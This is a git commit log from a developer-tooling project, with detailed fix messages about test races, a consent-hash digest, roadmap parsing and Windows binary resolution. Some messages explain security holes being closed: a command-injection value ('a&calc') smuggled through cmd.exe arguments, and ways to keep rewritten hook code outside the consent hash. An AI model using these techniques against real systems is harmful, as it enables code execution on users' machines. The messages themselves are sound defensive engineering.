b0ccf790f8c5d73595e3bfc524e41b5dfd0cdf3d
5365 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
Tom Boucher
|
b0ccf790f8 |
Merge pull request #3666 from open-gsd/release/1.11.0
chore: merge release v1.11.0 to main |
||
|
github-actions[bot]
|
182f60b4c1 | chore: promote CHANGELOG for v1.11.0 | ||
|
github-actions[bot]
|
61e30c465b | chore: bump version to 1.11.0 for release | ||
|
Tom Boucher
|
249c586a40 |
fix(3582): stop the cold-tree guard from racing the builders it guards against (#3665)
The guard added in #3656 asserts that this test leaves the real repo hooks/ directory alone. It compared a RAW listing before and after — and just failed on the runner: the real repo hooks/ directory listing must be unchanged by this test - '.dist-staging-20858', 'dist', ... Nothing was wrong with the test's own behaviour. A CONCURRENT scripts/build-hooks.js — nine test files invoke it from before() hooks — created hooks/.dist-staging-20858 inside the comparison window. The assertion assumed the shared hooks/ directory is stable for the duration of a test, which is precisely the assumption this line of work exists to disprove. The race-detector raced. The intent is right and is kept: this test must not add or remove anything in the repo. Only the comparison changes — both snapshots are now filtered through shouldCopyHookEntry, the same rule the fixture itself uses, so transient build scratch that is not this test's doing and is excluded from the fixture anyway no longer registers as a difference. Proven by execution: with a .dist-staging dir injected mid-window the filtered listings compare equal, while the unfiltered listings provably differ by exactly that entry — so the old comparison would have failed and the new one is immune rather than merely quieter. The injected directory is removed afterwards and hooks/ is confirmed byte-identical. Checked for the same shape elsewhere: this is the only raw listing comparison of the live hooks/ directory in the file or the repo. The second title in the failure output is the describe() wrapper around this same test, not a sibling. Refs #3582 Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
1bf73d957b |
enhance(#2295): record the resolved model per reviewer in REVIEWS.md frontmatter (#3649)
* test(#2295): failing-first coverage for per-lane resolved-model recording * feat(#2295): record the resolved model per reviewer lane * docs(#2295): document the recorded reviewer model and its provenance * fix(#2295): refuse control characters in a recorded model value * test(#2295): correct watermark assertions for the widened mark shape * fix(#2295): anchor the role-manipulation injection pattern at a word boundary * feat(#2295): record the applied reasoning effort in the model value * chore(#2295): backfill changeset pr number * chore(#2295): restore em-dash in changeset body --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
1adf6d2245 |
fix(#3620): point the docs at files that actually exist (#3658)
* fix(3620): point the docs at files that actually exist docproof found 34 stale references; the reporter hand-read all 34 and reported the 8 that are real, explaining why the other 26 are deliberate (files the documents themselves label legacy or "superseded by", and one pre-Diataxis link label whose target still resolves). Those 26 are left alone — re-touching them would contradict the issue's own analysis. Every claim was re-verified against git ls-files at HEAD before editing. docs/INVENTORY.md said its roster is anchored by six drift-control tests. Five are gone (commands-doc-parity, agents-doc-parity, cli-modules-doc-parity, hooks-doc-parity in 5d8a8c4d; command-count-sync in |
||
|
Tom Boucher
|
4e70b245e8 |
fix(#3582): stop the cold-tree fixture racing concurrent hook builds (#3656)
* fix(3582): stop the cold-tree fixture racing concurrent hook builds Two tests in tests/gsd-check-update-worker-platform-gate.test.cjs failed a verification run with `ENOENT: no such file or directory, lstat '/work/hooks/.dist-staging-20836'`. This is a race I introduced in #3582, not a flake, and it passed when #3582 merged because it only fires when the timing lines up. buildColdInstallTree() copied the LIVE repo hooks/ directory with a filter that excluded only the basename 'dist'. scripts/build-hooks.js writes atomically through a per-PID staging dir, hooks/.dist-staging-<pid>, and removes it when finished — and the archived build-hooks-atomic-write changeset records that NINE test files invoke build-hooks.js from their before() hooks. So several test processes create and delete staging directories inside hooks/ while other tests are reading it. cpSync enumerated one, and the owning process removed it before cpSync got to it. The helper's own header already states the rule it needed: hooks/dist is excluded because it "is not present in a raw marketplace checkout either". hooks/.dist-staging-* is gitignored (.gitignore:21) and equally absent from a raw checkout — it was simply missed. Fixed by enumerating hooks/ explicitly and skipping 'dist' and any '.dist-staging' prefix BY NAME, before anything stats or copies the entry, then copying each surviving entry individually. A name-first skip means a vanishing staging dir is never touched at all. Worth recording because it corrects the assumption this fix was written under: cpSync's filter IS invoked before the entry is lstat'd, and returning false leaves it untouched (verified by deleting inside the callback and returning false — no throw). So merely adding '.dist-staging' to the old filter would also have closed the race. The explicit enumeration was kept anyway so correctness does not depend on that Node implementation detail. Proven by execution both ways: with a staging dir planted in hooks/, the OLD cpSync-with-filter form copied it straight through into the fixture, while the new form succeeds and produces no .dist-staging entry with the real hook set intact. Regression test added beside the existing cold-tree tests: it plants a real hooks/.dist-staging-test-<random>, asserts the fixture builds clean without it, and removes only the directory it created. Repo swept for the same exposure: this helper is the only place doing a bulk enumeration of the whole live hooks/ tree. The other hooks/-touching tests reference specific named files or hooks/dist/ and are not exposed. scripts/build-hooks.js is deliberately untouched — its per-PID staging is what makes its own writes atomic and is correct. Refs #3582 * fix(3582): make the race regression test hermetic instead of mutating the live tree The regression test added in the previous commit failed the runner with "failed running after hook", and it was wrong in two ways — the second one worse than the first. cleanup() (tests/helpers.cjs:452-487) deliberately THROWS for any path outside the known temp roots. The test planted hooks/.dist-staging-test-<random> inside the repo and then asked cleanup() to remove it, so the after-hook threw. That guard is correct and is left alone. The real problem is that the test mutated the LIVE hooks/ directory while other test files concurrently read it — the exact shared-state hazard this change exists to remove. A regression test for a race must not introduce one. buildColdInstallTree now takes an optional opts.repoRoot (defaulting to the real REPO_ROOT and used for both copies it performs), so the test builds a fake repo root under the temp dir, plants representative hooks plus dist/ and .dist-staging-99999/ THERE, and asserts the fixture excludes both. All six pre-existing callers pass no arguments and are unaffected. The test also asserts the real hooks/ listing is identical before and after, so a future edit that reintroduces live-tree mutation fails loudly. The name rule is now pinned directly rather than only through the copy. shouldCopyHookEntry is exported and asserted, including the two cases a sloppier implementation would get wrong: 'dist-staging-no-dot' and 'distant.js' must both be KEPT. Anything matching on a loose 'dist' substring or startsWith passes every other case and fails those two. Also corrected the issue number on the tests introduced here: they were labelled #3631, which is the unrelated capability-consent bytecode work. This is #3582. Verified by execution: the predicate rule holds on all nine cases; a fake-root fixture yields exactly the representative hooks with dist and .dist-staging excluded; the no-arg default still copies the real tree (29 entries); and the real hooks/ listing is byte-identical before and after. Refs #3582 * chore(3582): re-trigger CI after an orphaned Validate Branch Name run The Validate Branch Name run for this branch (32211622051) sat queued from 03:17 and was never picked up — updatedAt never advanced past createdAt while the same workflow completed normally for other branches. `gh run rerun` refused it ("already running") and `gh run cancel` returned HTTP 500, so the run is orphaned on the GitHub side. Closing and reopening the PR re-fired the other pull_request workflows but not that one, whose triggers evidently do not include reopened. An empty commit is the remaining way to get a fresh run. No file changes: the tree is identical to dc71534b6, whose remote-runner pass carries forward unchanged. Recording this rather than admin-merging past the pending check. Everything else was green (24 pass, 0 fail), but admin merge is sanctioned only for the missing-secondary-reviewer case, never to skip a gate that has not actually run. Refs #3582 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
9e4f0e99ad |
fix(#3631): exclude only __pycache__-resident bytecode from the consent digest (#3650)
* test(3631): failing-first coverage for bytecode-cache in the consent hash
bundleContentHash digests a walk with no exclusion, so a routine 'python3 -m unittest'
inside a Python-backed capability bundle writes __pycache__ under the bundle, the
recomputed hash stops matching the consent record, and the capability silently goes
inactive — no error, no warning, and loop render-hooks then omits its step and gate.
Two distinct triggers, and the second is the sharper one: collectBundleEntries pushes a
{kind:'dir'} entry for EVERY directory and the digest emits a TAG_DIR marker for it, so an
EMPTY __pycache__/ flips the hash before a single .pyc is written. A fix filtering only
*.pyc would leave that live. Verified by execution against the built lib: 5 of 7 probe
rows diverge from intent today, including the empty-directory row.
The anti-regression rows are the point of the shape: editing a real scripts/m.py and
adding node_modules/pkg/index.js must BOTH still change the hash. node_modules is
deliberately not excludable — its contents are required at runtime, so dropping it from
the digest would stop consent binding executable content. The symlink row pins ordering:
exclusion must apply after the lstat fail-closed rejection, never before.
Refs #3631
* fix(3631): exclude derived bytecode caches from the consent digest
RED proven at e5ba8f1fe on the remote runner: 8 failures, exactly the rows predicted to
fail, with the four anti-regression rows already green.
collectBundleEntries now skips a hardcoded, gitignore-independent set from the DIGEST:
basenames __pycache__, .pytest_cache, .DS_Store, and any .pyc/.pyo file. Matching is
byte-exact on the raw Buffer name (the walk never utf8-decodes) and case-sensitive, so the
digest does not vary with how a name happens to be spelled on a case-insensitive volume.
Three properties were preserved deliberately, each pinned by a test:
- The filter runs AFTER the lstat symlink/non-regular fail-closed rejection. Filtering
first would have turned the exclusion into a way to smuggle a symlink past the check;
a symlink named x.pyc still throws.
- Excluded entries still count toward BUNDLE_MAX_FILES and BUNDLE_MAX_TOTAL_BYTES. The
caps guard the WALK; the digest answers a different question, and exclusion must not
become an unbounded-bytes hole.
- An excluded DIRECTORY is neither emitted as a TAG_DIR marker nor recursed into. The
directory marker was the sharper half of this bug: an empty __pycache__ flipped the
hash before any .pyc existed, so a *.pyc-only filter would have left it live.
The issue proposed either a gitignore-aware walk or a list including node_modules. Both
are rejected. A consent binding must not delegate its scope to a .gitignore the bundle
author does not control — one line there would drop arbitrary executable content out of
the hash. And node_modules holds code that is required at runtime; excluding it would stop
consent binding executable content, turning a usability bug into a supply-chain hole. What
makes __pycache__ different is that CPython validates each .pyc against its sibling
source, which remains hashed, so a real code change still invalidates consent.
Docs: CONTEXT.md's 'EVERY regular file AND directory' claim is corrected in place.
ADR-2363's residual-gap section said the walk had 'no exclusions' — per
docs/adr/README.md ('ADRs are append-only') that is corrected by a dated amendment rather
than an in-place edit. Its D4 argument is unaffected: skill bodies are .md and stay bound.
Fixes #3631
* fix(3631): narrow the digest exclusion after two isolated security reviews
The first cut of this fix passed the full suite and was still wrong. Both orthogonal
reviews rejected it, and the second one found a hole that has nothing to do with Python.
HIGH — an excluded DIRECTORY was 'continue'd before recursion, so its whole subtree was
permanently outside the digest. Declared hook script paths allow '_', '.' and '/' with no
directory or extension rule, so hooks:[{script:'__pycache__/run.js'}] installed, executed
via node, and its bytes could be rewritten forever without moving the hash. Ship benign
v1, collect consent, then own the machine. No Python involved.
FALSE RATIONALE — the justification I wrote into the code, CONTEXT.md, the ADR amendment
and the changeset claimed CPython validates a cached .pyc against its sibling source, so
the source staying hashed kept consent honest. That is not true, and I proved it by
execution rather than argument: default timestamp invalidation compares only the source's
mtime and size, both settable by anyone who can write the bundle. A forged pyc ran while
the .py was byte-identical.
Also wrong: '*.pyc' matched anywhere, but a legacy sourceless scripts/x.pyc IS importable,
so excluding it was a live vector.
Narrowed to what is actually defensible:
- a DIRECTORY named __pycache__/.pytest_cache has only its TAG_DIR marker suppressed;
the walk still recurses and hashes every non-excluded child.
- .pyc/.pyo are excluded ONLY when the parent basename is exactly __pycache__.
- a regular FILE named __pycache__, and a DIRECTORY named x.pyc, stay bound.
- declared hook paths containing a __pycache__/.pytest_cache segment or a .pyc/.pyo
basename are now rejected in both validator copies — a file named .pyc can contain
perfectly valid JavaScript, so the exclusion must not be reachable from a declared
surface.
Accepted residual risk, stated plainly in ADR-2363 and CONTEXT.md instead of explained
away: a forged __pycache__/mod.pyc matching an unmodified, still-hashed mod.py executes
without moving the digest. Before this change that write was detected. It is accepted to
stop routine bytecode caching from silently deactivating capabilities, and it is bounded —
the attacker needs post-consent write access, everything outside __pycache__/*.pyc stays
hashed, and no declared surface can point into the excluded space.
Known limitation, not papered over: .pytest_cache CONTENTS still move the digest. Only the
directory marker is suppressed. Excluding that subtree would reopen the HIGH finding.
Refs #3631
* fix(3631): drop the .DS_Store exclusion and pin what the caps actually bind
Second round of isolated review findings. The hardening closed the two original holes —
both re-reviews confirmed that by execution — but it introduced a new one of the same
shape, and left three claims unbacked.
HIGH, self-inflicted: .DS_Store was excluded from the digest at any depth, but the hook
path validator was hardened only for __pycache__/.pytest_cache/.pyc/.pyo. So
script:'hooks/.DS_Store' was ACCEPTED, runnableHookCommand emits the bare quoted path for
a non-.js name (the branch .sh hooks already use), and capability-source copies it with
its mode bit intact. Ship it +x with a benign shebang, take consent, then rewrite it
forever — the digest never moves. Fixed by DELETING the .DS_Store exclusion rather than
teaching the validator about it: .DS_Store has nothing to do with this issue's Python
bytecode symptom, and an excluded filename is a permanently unhashed name. The narrower
the exclusion, the smaller the hole.
The residual-risk bound in ADR-2363 and CONTEXT.md claimed declared surfaces cannot reach
excluded space. That is false and is now stated correctly: node resolves an unregistered
extension through the default .js handler, so a hashed, consent-covered hooks/run.js that
requires '../__pycache__/mod.pyc' reaches it in one hop. The validator guard raises the
bar for DECLARED surfaces; it does not contain the risk. The two bounds that are real —
post-consent write access required, everything outside __pycache__/*.pyc still hashed —
are kept.
The BUNDLE_MAX_FILES boundary test had gone vacuous: it padded with root-level *.pyc,
which the hardening made non-excluded, so it no longer proved anything about excluded
entries while the ADR claimed the caps were test-pinned. It now pads __pycache__/f{i}.pyc,
with the arithmetic re-derived by execution (capability.json + the still-counted
__pycache__ dir + N). BUNDLE_MAX_TOTAL_BYTES had zero coverage at all and is now pinned by
a sparse 32 MiB __pycache__/big.pyc that must still trip the size cap — the test that
proves exclusion did not become an unbounded-bytes hole.
Added the parity assertion CLAUDE.md's Generative Fix Divergence rule requires for the two
isSafeHookScriptPath copies, and proved it can fail: mutating one BUILT copy to drop .pyo
made the parity check report the divergence. Also pinned semantics that were correct but
untested and would have survived mutation — __pycache__/sub/x.pyc stays hashed (the parent
resets to sub, which is the recursion threading itself), .pytest_cache/y.pyc stays hashed,
and .pyo in both directions, which was a free surviving mutant.
Changeset rewritten: it still described the rejected wholesale-exclusion semantics.
Refs #3631
* chore(3631): backfill changeset PR number (#3650)
---------
Co-authored-by: sim <sim@local>
|
||
|
Tom Boucher
|
02a36d3db9 |
fix(3618): update the Windows fallow assertions to the behavior #3618 chose (#3654)
full test (windows-latest, 24, shard 1/3) has been RED on next since
|
||
|
Tom Boucher
|
2972da4c9d |
enhance(#3619): ratchet the platform seam with local/no-private-binary-resolution (epic #3411 Phase 3) (#3636)
* chore(#3619): ratchet the platform seam with local/no-private-binary-resolution
Epic #3411 Phase 3, the ratchet. Scope revised with maintainer approval and
recorded on the issue: the epic's literal ask was a rule rejecting a bare-name
spawn outside the seam. Surveyed at
|
||
|
Tom Boucher
|
0f417aa6d0 |
fix(#3584): the verb owns the count token and nothing else (#3635)
* test(3584): failing-first coverage for Plans-line trailing text roadmap update-plan-progress preserves trailing text only when the line begins with a canonical count token. Every other phrasing — including the TBD value the shipped template itself suggests — is replaced to end-of-line, and a sentence wrapping onto a second line has its first line deleted, leaving the continuation standing alone so the roadmap asserts something nobody wrote. Exit 0, updated:true, and the diff reads as a routine count bump. These tests fail on that, and pin the arms that must keep working: the template placeholder is still replaced, the #2853 token-plus-annotation path is unchanged, CRLF is neither stranded nor duplicated, and a run that leaves the line alone still updates the Progress table and checkboxes rather than becoming a no-op. * fix(3584): the verb owns the count token and nothing else RED proven at 105bdf7c: 7 failures — the preserving cases (freeform prose, wrapped continuation, TBD, CRLF) failed while the template-placeholder and #2853 token arms passed on base. The trailing-text guard fired only when the line began with a canonical count token: dropped the rest of the line whenever the regex's count group did not match. #2853 fixed end-of-line truncation on that one path only. The in-code comment justified the rest as 'the fresh-template bracketed placeholder or other freeform guidance, not user prose' — a heuristic that misreads ordinary human phrasing and destroys even TBD, the value the shipped template itself suggests at templates/roadmap.md:37. The sharper failure was the wrapped sentence: only the first line is inside the match, so the verb deleted line one and left line two standing alone, leaving the roadmap asserting something nobody wrote — at exit 0, updated:true, in a diff that reads as a routine count bump. Inverted the default into three arms. A real count token is rewritten with its annotation preserved (unchanged, #2853). A bracketed placeholder is detected POSITIVELY and replaced. Everything else — freeform prose, TBD, a wrapped sentence's first line, an empty value — returns the match untouched. That last arm resolves the wrapped case by construction: an untouched first line cannot orphan its continuation. Positive detection is the load-bearing part. Implemented as 'not a count token, therefore disposable', rows 1-3 come straight back; the detector instead asks whether the value IS a bracketed placeholder. Leaving the line alone does not make the verb a no-op: the phase checkbox, the Progress-table cells and the plan-checklist row still update in the same run, and that is asserted. CRLF is unaffected in every arm — the pattern's [^\r\n]* never consumes the \r, so it sits outside the match regardless of which arm runs. Fixes #3584 * fix(3584): detect the template placeholder by its text, not by its brackets Two defects in the arm-2 detector shipped in fc23e49e, both found in review. Finding A: isBracketedPlaceholder asked only whether the trimmed value was wrapped in [...]. Brackets are ordinary prose punctuation in a roadmap, so any hand-written bracketed note — '[Deferred pending re-scope]', '[blocked on #1234]' — was classified as the fresh-template placeholder and destroyed. That is the very defect #3584 is about, reintroduced one arm over. The detector now matches the placeholder's TEXT (/^\[\s*Number of plans\b[\s\S]*\]$/i), so it recognizes the shipped template value and its short form and nothing else. Finding B: the count group matched '\\d+\\s+plans' only. The plural is not the template's own output shape — templates/roadmap.md:62 ships '1 plan' — so a single-plan phase fell through every arm and its line froze permanently, never updating again. Widened to 'plans?'. This one was introduced by the arm-3 default: before it, the singular fell through to the old replace-everything path and at least stayed current. Cases 11-14 cover both: a bracketed human note preserved, the short placeholder still replaced, '1 plan' rewritten, and '1 plan (annotation)' rewritten with the annotation intact. Verified against the live binary, not just re-read. Also converted all 15 cases in this block from try/finally to t.after(), per CONTRIBUTING.md:356-370 which bans try/finally in test bodies. The existing #2853 block above is untouched — it is not in this change's scope and its conversion is not this fix's concern. Refs #3584 * chore(3584): add changeset fragment Fixed-type fragment for the roadmap Plans-line trailing-text fix. pr:0 placeholder, backfilled once the PR number exists. Refs #3584 * chore(3584): backfill changeset PR number (#3635) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
ac1b6d679f |
enhance(#3618): fold fallow-runner onto the canonical binary resolver (epic #3411 Phase 2) (#3633)
* chore(#3618): fold fallow-runner onto the canonical binary resolver Epic #3411 Phase 2. src/fallow-runner.cts was the fourth divergent implementation of Windows binary resolution the epic enumerated — candidateNames, isExecutableFile, findInPath, findInNodeModules, 40 lines. All four are deleted; resolveFallowBinary is one seam call. Two OPT-IN options were added to resolveExecutableBinary to make the fold behavior-preserving, both defaulting off so Phase 1's callers are byte-identical: prependPaths dirs searched before env.PATH, in order, through the identical per-directory candidate logic. This expresses node_modules/.bin-first precedence without env surgery — the rejected alternative re-introduced the spread-loses-the-proxy hazard the Windows lane caught in Phase 1, at every future call site instead of once. requireExecutable POSIX-only accessSync(X_OK); a no-op on win32 where mode bits do not mean execute. Opt-in rather than default because unconditional X_OK breaks #3445's suite, which stages candidates with plain writeFileSync and never sets an exec bit — the repo bans chmod in tests — so every one would resolve to null on POSIX. Deliberate behavior change on Windows: fallow's prior candidate list ended in a BARE fallow. The seam never tries a bare name there, so an extensionless file beside fallow.cmd is no longer resolved. That is the fix, not a regression — the extensionless file is npm's POSIX sh shim, which CreateProcess cannot run (#3275). Rows 7 and 8 of the design record it. Defect found while working, fixed inline: the resolution order was documented BACKWARDS as PATH-then-.bin in structural-pre-pass.md, docs/INVENTORY.md and four INVENTORY translations. The code has always been .bin first, and .bin first is correct — a project-local tool should beat a global one. The archived changeset is left alone as a historical record. fallow-runner had no test file at all. tests/fallow-runner.test.cjs is new (F1-F15) and the seam options are pinned by S1-S12 folded into the existing dispatch suite. RED proven by execution: with both source files stashed and build:lib re-run, 7 of 27 probe cases failed. Refs #3411 * chore(#3618): backfill changeset pr number 3633 * fix(#3618): assert both platform contracts in F4 instead of a POSIX-only premise Windows CI on #3633 failed F4. The test monkeypatched accessSync to throw and asserted resolveFallowBinary returned null — but that premise, that the X_OK check is consulted at all, is POSIX-only by design. requireExecutable is a deliberate no-op on win32 because Windows mode bits do not mean execute, so the staged fixture correctly resolved there. 40-design.md's negative-space section already states this carve-out verbatim. The test contradicted the design it was written from: fixtures were made platform-adaptive in the previous commit, and this assertion was left platform-blind. F4 now asserts BOTH contracts — null on POSIX, resolves on win32 — rather than skipping either. A t.skip on one lane would have been green and would have left the win32 carve-out unpinned by fallow's own entry point. Audited every other row for the same class. F1-F3, F5, F6, F11-F15 hold on both platforms; F7-F10 and S1-S12 inject platform explicitly and are unaffected. F4 was the only row with a single-platform premise. The local probe runs on one platform and structurally cannot catch this, which is why it was green — that limitation is now stated at the top of the probe so a green probe is not mistaken for platform coverage. The win32 branch was proven by injecting platform:'win32' with accessSync throwing and asserting it still resolves. Refs #3411 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
46f14c621e |
fix(#3583): one percent per write — route update-progress through the shared computation (#3634)
* test(3583): failing-first coverage for one percent per write state update-progress computes plan throughput (summaries/plans) for stdout and the body Progress bar, while the same write re-derives frontmatter progress.percent as min(planFraction, phaseFraction). Neither consults the other, so mid-phase the file contradicts itself and state json disagrees with the verb that just wrote it. These tests fail on that: equality across stdout, body bar, frontmatter and state json on fixtures where the two fractions differ, plus a derivation-parity test that fails if completedPhases is ever derived by summary parity instead of verification-passed status. Also updates three pre-existing tests that pinned stdout to the plan-throughput value (50->0, 50->0, 100->0). Those fixtures have summarized-but-unverified phases, so the old expectations encoded the bug; changing them IS the fix, as the issue states explicitly. * fix(3583): one percent per write — route the verb through the shared computation RED proven at 7dbbb2d2: 9 failures — the new cross-surface equality tests, the withhold test, and the pre-existing tests whose expectations encoded the bug. state update-progress computed plan throughput (summaries/plans) for stdout and the body Progress bar, while the SAME write re-derived frontmatter progress.percent as min(planFraction, phaseFraction) through a separate path. Neither consulted the other, so on any project where plan throughput ran ahead of phase completion — the normal mid-phase state — the file contradicted itself and state json disagreed with the verb that had just written it. Exit 0, no signal. This is not a dispute about which metric is right. The min cap is deliberate (#3242 Bug B) and is untouched; the fix aligns the printed and body values WITH it. Verified by diff: computeProgressPercent's definition and cmdStateSync are both unmodified. The verb now takes its percent from buildStateFrontmatter — the single owner of the isPhaseComplete-based completedPhases count and the ROADMAP-union totalPhases logic that the frontmatter sync later uses inside the same read-modify-write. Both calls hit the same disk-scan cache against the same on-disk state, so they cannot disagree. Reusing that owner, rather than re-deriving completedPhases locally, is the point: a second almost-identical derivation is the very defect class being fixed, and a parity test now fails if anyone swaps it for summary parity. The first cut fell back to plan throughput when the shared computation withheld. That reintroduced the defect in a rarer case — stdout would print a number the frontmatter deliberately did not contain — so it is gone. The verb now withholds in the same shape as its existing #3217 and #3233 guards. That path is reachable, not theoretical: a bare vX.Y token in ROADMAP prose with no versioned heading leaves the milestone unbounded while both existing guards see a COMPLETE scope. Covered by a test that also asserts state json omits the percent, proving it is the same withhold rather than a divergent local computation. Three pre-existing tests pinned stdout to plan throughput (50->0, 50->0, 100->0); their fixtures have summarized-but-unverified phases, so those expectations encoded the bug. Updating them is the fix, as the issue states. Fixes #3583 * fix(3583): source the reported counts from the same milestone window as the percent The adversarial pass found the first cut left the SAME defect one field over. cmdStateUpdateProgress still reported completed/total from the top-of-function scan, which calls listMilestonePhaseDirs with NO versionOverride — the auto-derived current milestone — while percent now came from buildStateFrontmatter, whose scan scopes by versionOverride: storedMilestone. getMilestonePhaseFilter shows those can select different milestone windows, and #3017's own comment warns about exactly that mis-bind. So a single JSON object could report a percent inconsistent with its own counts: the self-contradiction this issue was filed to close, relocated rather than removed. Counts now come from the same buildStateFrontmatter result as the percent. Proven on a real divergent-milestone fixture where a preamble phase leaks into the auto-derived scan but is excluded from the stored-milestone-scoped one: with the fix stashed the verb emits {percent:0, completed:1, total:2}; with it applied, {percent:0, completed:1, total:1}. The guard scan remains, gating only the #3217/#3233 withholds. Also corrected a comment that overstated caching. Only the phase/plan disk scan is shared between the two buildStateFrontmatter calls; getMilestoneInfo re-reads and re-parses ROADMAP.md and readGitHeadSha spawns a bounded git rev-parse, and both now run twice per invocation. Threading a precomputed frontmatter through the write seam to avoid it was rejected: that seam is the shared ADR-3408 §8.3 composition with three other callers and heavily-documented invariants, and this is not the change to renegotiate it. The comment now says what is and is not cached instead of implying the second call is free. Standards: six new assertions matched raw STATE.md body text the code under test had just produced — the pattern CONTRIBUTING bans by name. They now extract the body Progress field with the repo's own field extractor and assert the parsed percent, so the check survives rewording of the rendered bar. The acceptance criterion still verifies the bar; only what it asserts on moved. Also trimmed ~50 lines of narration around a ~15-line change into a named helper, and fixed a stale test comment that still claimed 100% next to assertions expecting 0%. * chore(3583): add changeset fragment * chore(3583): backfill changeset PR number (#3634) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
924f649f87 |
docs(#3625): record the spawn-library evaluation as ADR-3625 (#3632)
Spike outcome for #3625: evaluate cross-spawn / nano-spawn / execa against the hand-rolled Windows binary resolution and cmd.exe mediation that epic #3411 Phase 1 (PR #3621) is landing in the platform seam. Verdict: stay hand-rolled, with revisit-if conditions recorded so the call is not re-litigated in a future PR. Evidence, per the issue's "Done when" list: - Sync/async verdict per candidate. nano-spawn is async-only — settled by its own README, which lists "synchronous execution" among the features execa has and it does not. cross-spawn exposes `.sync`. execa exposes execaSync, which its own docs discourage. - CVE-2024-27980 escaping verdict per candidate. None uses shell:true. cross-spawn independently arrives at the SAME mechanism the seam uses: cmd.exe /d /s /c with a pre-escaped line and windowsVerbatimArguments. That validates the seam's approach rather than superseding it. - Maturity axes scored with measured data (registry metadata 2026-08-18, transitive footprint measured by install). Two premises in the issue did not survive measurement, both recorded: - The CRITICAL 167-symbol/53-file blast radius is a `direction:both` measurement, inflated by downstream callees. A call-shape change ripples to CALLERS: upstream at depth 15 is 14 symbols / 7 files, MEDIUM, and it terminates at depth 4. The decision does not rest on the CRITICAL figure. - The cited vendoring precedent path does not exist; the real one is gsd-core/bin/lib/vendor/re2js.cjs. Decisive against the only structurally-eligible candidate (cross-spawn): it resolves process.cwd() first on Windows even when an explicit PATH is supplied, calls process.chdir() during resolution, and keys escape depth on a node_modules/.bin/*.cmd path regex of the same shape #3411 was filed to delete. Adoption would also break execTool's observable not-found contract across 53 dependent files. Doc-only: docs/adr/** plus a root-level CONTEXT.md pointer. The CONTEXT.md addition is a new line rather than an edit to the seam's glossary paragraph, which PR #3621 rewrites wholesale — same-line edits would conflict on merge. ADR index regenerated via scripts/gen-adr-index.cjs --write. lint:ci exit 0; lint-docs-required and changeset/lint both run with GITHUB_BASE_REF=next and report ok_no_user_facing_changes. Closes #3625 Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
bf87dd4156 |
enhance(#3617): one canonical Windows binary resolver in the platform seam (epic #3411 Phase 1) (#3621)
* feat(#3411): one canonical Windows binary resolver in the platform seam CONTEXT.md declares src/shell-command-projection.cts the single OS-facing seam, but Windows binary resolution had grown four divergent implementations outside it. #3445 folded two of them together — inside gsd-core/bin/gsd-tools.cjs, not the seam — so the declaration stayed untrue and execTool still had no handling at all. Lift the resolver into the seam as resolveExecutableBinary, and export the half that actually executes as projectSpawnInvocation: CreateProcess cannot run a .cmd/.bat, so the cmd.exe mediation is inseparable from the lookup and splitting them is how the copies accumulated. cmd.exe is invoked with an explicit argv array, never shell:true — CVE-2024-27980's vector and Node 26's DEP0190. execTool now resolves on win32. POSIX is a strict no-op by construction, which matters: execTool rates CRITICAL blast radius (167 symbols, 53 files). gsd-tools.cjs deletes its private scan and its private mediation and delegates. Two semantics grown beyond #3445's resolver, both additive: a name already carrying a PATHEXT-listed extension is tried as-is before the append loop, and a suffix outside PATHEXT is not treated as an extension. Refs #3411 * fix(#3411): keep mediating a declared .cmd that PATH resolution misses Standards review caught a narrowing against the code this replaces. gsd-tools.cjs computed `target = resolveSpawnBinary(binary) || binary` and keyed the shim test on `target`, so a declared .cmd mediated whether or not PATH resolution found it. That is load-bearing: resolveExecutableBinary scans PATH only, while `cmd.exe /c` also finds a batch file in the current directory. Mediation now keys on the target — resolved path, else declared name. The ENOENT contract still holds for BARE unresolved names, which is the case it was written for. P9/P10 pin both halves. Spec review found E1/E2/E3/E5 promised by 50-test-matrix.md but never written; added. E3 is the integration proof that the CVE-relevant mediation fires through execTool, not only through projectSpawnInvocation in isolation. Also adds the CONTEXT.md glossary entry for the seam's new resolution ownership (a PR gate) and the changeset fragment. Refs #3411 * fix(#3617): pass mediated cmd.exe arguments verbatim so metacharacters cannot inject The isolated security pass found the mediation shape carried an argument-injection surface. libuv's quote_cmd_arg force-quotes an argv element only when it contains a space, tab, or quote — never for a cmd metacharacter — and cmd.exe re-parses everything after /c. So an arg of a&calc arrived unquoted and cmd ran calc. Node's own CVE-2024-27980 escaping cannot help: it fires only when the spawned FILE is the .bat/.cmd, and here the file is cmd.exe. Caret-escaping is not a fix. It is correct only when libuv does not quote, and libuv quotes whenever the arg also contains a space — no per-arg transform is right in both cases. So build the command line and pass it through verbatim, the shape Rust's std adopted for the sibling CVE-2024-24576: one outer quote pair that cmd /c strips, every token inside force-quoted, embedded quotes doubled. An argument containing CR or LF is refused rather than mediated — a newline cannot be represented in a Windows command line, so mediating would silently truncate. Failing visibly is correct. Known limit, documented at the seam: %VAR% still expands inside a /c string and has no escape outside a batch file. That is information disclosure, not arbitrary execution, and is the same limit Rust's std documents. This was byte-for-byte the shape #3445 shipped, so the fix closes it for the reviewer-lane spawn path too, not only for execTool's newly reachable route. Refs #3411 * docs(#3617): document the subprocess-execution security posture Adds Layer 4 to the security model: why GSD never uses shell:true for binary invocation (CVE-2024-27980, Node 26 DEP0190), why resolution is explicit and never tries the bare name on Windows (the npm extensionless-shim trap behind #3275), and why .cmd/.bat mediation builds a verbatim force-quoted command line rather than relying on default escaping — Node's own CVE protection cannot fire once the started program is cmd.exe. The residual %VAR% expansion limit is stated plainly under Trade-offs rather than left implicit: it is information disclosure, not arbitrary execution, and callers passing untrusted text to a Windows .cmd should not assume the value arrives byte-identical. Docs-only; no code change. Refs #3411 * chore(#3617): backfill changeset pr number 3621 * fix(#3617): read PATH, PATHEXT and ComSpec case-insensitively The Windows CI lane on #3621 failed E5, and the root cause was a defect in the implementation, not the assertion. Windows names the variable Path, not PATH. process.env is a case-insensitive proxy, so process.env.PATH works — but execTool builds { ...process.env, ...opts.env } whenever a caller supplies opts.env, and spreading discards the proxy while keeping the OS's 